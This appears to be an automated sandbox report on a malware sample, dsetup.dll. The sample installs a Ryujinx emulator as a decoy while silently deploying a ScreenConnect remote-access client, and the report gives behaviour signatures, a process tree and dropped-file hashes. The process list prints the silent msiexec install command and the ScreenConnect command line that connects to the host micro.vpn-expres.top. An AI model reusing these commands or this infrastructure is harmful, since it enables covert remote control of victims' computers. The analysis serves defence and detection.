Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 03:04

General

  • Target
    dsetup.dll
  • Size 80.0MB
  • Sample260710-dkwstacv9m
  • SHA256 c25a08d59a215dce54ce9aed5636d5958eb6b87daee3b40ae666f92951be37f6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 26 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 51 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\dsetup.dll,#1
      2⤵
      • Checks for any installed AV software in registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3484
      • C:\Users\Admin\AppData\Local\Temp\0ea1f90b.exe
        "C:\Users\Admin\AppData\Local\Temp\0ea1f90b.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5412
        • C:\Program Files (x86)\Ryujinx\Ryujinx.exe
          "C:\Program Files (x86)\Ryujinx\Ryujinx.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Checks SCSI registry key(s)
          • Suspicious use of SetWindowsHookEx
          PID:6104
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\4236E59B.tmp /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1848
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4976
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 83167EE696FD06179D30315ACAF77278
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3660
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI1F84.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240722000 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4280
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6766DDC75C8ABF6F932822E0EA72A2F0 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5008
  • C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=0273f7d6-4263-4550-8acc-2e9cc64be7f5&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ryujinx&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe" "RunRole" "b25703a2-ccae-40a9-a8b2-6c065c8b9d3b" "User"
      2⤵
      • Executes dropped EXE
      PID:3472

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e590d67.rbs

        • Path C:\Config.Msi\e590d67.rbs
        • Size 213KB
        • SHA256 efa32b8cb0bafc05129be76c07d90f4f2d82faaf9019dd2132b99b88a0bddbc0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SDL2.DLL

        • Path C:\Program Files (x86)\Ryujinx\SDL2.DLL
        • Size 1.6MB
        • SHA256 c48431a47d57d99d7a056d634427b2b9dd7d640d3e8d9ac14551ee39a9906ecc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        av_libGLESv2.dll

        • Path C:\Program Files (x86)\Ryujinx\av_libGLESv2.dll
        • Size 4.2MB
        • SHA256 85b3aee47c0e0eaf3a5ea5c75ba8131387a12639b6a0ef280c28531fb77695ae
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libHarfBuzzSharp.DLL

        • Path C:\Program Files (x86)\Ryujinx\libHarfBuzzSharp.DLL
        • Size 1.5MB
        • SHA256 ef5923ef4cdc8612c1825b294174b5b8cc8a056ed0f06b58db56aabc56aaae12
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libSkiaSharp.DLL

        • Path C:\Program Files (x86)\Ryujinx\libSkiaSharp.DLL
        • Size 9.0MB
        • SHA256 9a0d95e8caaa852c70d085af6a40a744242172ad9ea3fd6bc7599875a8a1dbcd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VC9CRT_x64\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VC9CRT_x64\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        0ea1f90b.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0ea1f90b.exe
        • Size 37.3MB
        • SHA256 fe9fbd1825317a1b61d3c3e6857e39e2a2993fe9bd3553b4fb5e7826397b24e9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        4236E59B.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\4236E59B.tmp
        • Size 12.8MB
        • SHA256 d36a7d4f536229d2784908c9975612a8d20180ec38dc2b066b777a1d501d4c1d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        imkvdb.arc

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\0\imkvdb.arc
        • Size 12B
        • SHA256 f2dcb07cab0cf427a9b304b36a6e803277e59c8082f0235312abc0c75d2945e7
        • MD5 SHA1 SHA512

        ExtraData0

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData0
        • Size 512B
        • SHA256 6c5c5c17dd3aa350cb096686003029e55edd64704468a190f5eb88126b657a2d
        • MD5 SHA1 SHA512

        ExtraData1

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData1
        • Size 512B
        • SHA256 faf2766d727b2d29ea7c470cf63b2f7ea618dd31d90b4a5b8d1f6adf4a4641be
        • MD5 SHA1 SHA512

        ExtraData_

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData_
        • Size 512B
        • SHA256 adc494fa064dca9b7d029ee151e88853bf5dadc15fc59fcf6f628dc8c038a67f
        • MD5 SHA1 SHA512

        ExtraData_

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData_
        • Size 512B
        • SHA256 88a04fb3286d69edd1570eb90a071bef20111f17e89273415d62d057fb3d9613
        • MD5 SHA1 SHA512

        lastPublishedId

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\_\lastPublishedId
        • Size 8B
        • SHA256 af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc
        • MD5 SHA1 SHA512

        MSI1F84.tmp

        • Path C:\Windows\Installer\MSI1F84.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI1F84.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI1F84.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI1F84.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI1F84.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI23EB.tmp

        • Path C:\Windows\Installer\MSI23EB.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        3bj03oy2.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\3bj03oy2.newcfg
        • Size 584B
        • SHA256 2b52c2e50add63d38db2f4a5d401bf21f23bebe10d5d34b9d0840b9eda60713c
        • MD5 SHA1 SHA512 TLSH

        5jixkkyq.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\5jixkkyq.newcfg
        • Size 584B
        • SHA256 f1944f1bfaad6c729ac67d69a634156656d546f41bd1b3404471acba67140869
        • MD5 SHA1 SHA512 TLSH

        cpfir2xw.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\cpfir2xw.newcfg
        • Size 584B
        • SHA256 e92d9ded37b61e5e56fbc3de203aa3696d428444f234e8261b03fbc0ddfe2567
        • MD5 SHA1 SHA512 TLSH

        mr3pm2qn.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\mr3pm2qn.newcfg
        • Size 584B
        • SHA256 cdaa331ef6a8be99f3c213acee07915c1e69a3469993e3b56ea4b10129228325
        • MD5 SHA1 SHA512 TLSH

        ni5bddkn.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\ni5bddkn.newcfg
        • Size 584B
        • SHA256 dfae84150e5388dc7a4a26d95ba86baa4966c0c8092a8e9e0094ebdd178a9c6e
        • MD5 SHA1 SHA512 TLSH

        qd5akzmc.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\qd5akzmc.newcfg
        • Size 584B
        • SHA256 9ea10050de0ff87e33830eeb6175cbb2ec56205d66ef7ae3cfeb09f042f23b03
        • MD5 SHA1 SHA512 TLSH

        tnnd5ujz.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\tnnd5ujz.newcfg
        • Size 584B
        • SHA256 bee09659f7c114d0b2153861561a45fc4aa285f1d988c9ddb01184cf9962ba15
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\user.config
        • Size 584B
        • SHA256 cd82cef2d685ba7e67908c3ad7e2a7e3143d454c5f6cacb17d47a64b02dc5083
        • MD5 SHA1 SHA512 TLSH

        ymh1rg2z.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\ymh1rg2z.newcfg
        • Size 584B
        • SHA256 6a3e014107f6b36bcb5164a6927497a7aff812d43a22d6fb85336f226264affd
        • MD5 SHA1 SHA512 TLSH

        memory/3256-129-0x0000000004B20000-0x0000000004B61000-memory.dmp

        memory/3256-131-0x0000000004FB0000-0x0000000005085000-memory.dmp

        memory/3256-122-0x0000000004A90000-0x0000000004AE0000-memory.dmp

        memory/3256-100-0x0000000002190000-0x00000000021A8000-memory.dmp

        memory/3256-126-0x0000000004AE0000-0x0000000004B16000-memory.dmp

        memory/3256-127-0x0000000004DC0000-0x0000000004E52000-memory.dmp

        memory/3472-144-0x000000001B080000-0x000000001B098000-memory.dmp

        memory/3472-145-0x000000001B410000-0x000000001B428000-memory.dmp

        memory/3472-143-0x000000001BA00000-0x000000001BB88000-memory.dmp

        memory/3472-146-0x000000001B430000-0x000000001B471000-memory.dmp

        memory/3472-141-0x000000001B480000-0x000000001B50E000-memory.dmp

        memory/3472-142-0x000000001B6C0000-0x000000001B86C000-memory.dmp

        memory/3472-139-0x00000000004D0000-0x0000000000568000-memory.dmp

        memory/3472-140-0x000000001B0B0000-0x000000001B0E6000-memory.dmp

        memory/4280-56-0x0000000005CF0000-0x0000000005D7E000-memory.dmp

        memory/4280-60-0x0000000005F40000-0x00000000060EC000-memory.dmp

        memory/4280-61-0x00000000066B0000-0x0000000006C6A000-memory.dmp

        memory/4280-52-0x0000000003BC0000-0x0000000003BCA000-memory.dmp

        memory/4280-48-0x0000000003B80000-0x0000000003BAE000-memory.dmp

        memory/5412-252-0x00000000004B0000-0x00000000007C8000-memory.dmp

        memory/5412-147-0x00000000004B0000-0x00000000007C8000-memory.dmp

        memory/5412-178-0x00000000004B0000-0x00000000007C8000-memory.dmp

        memory/5412-163-0x00000000004B0000-0x00000000007C8000-memory.dmp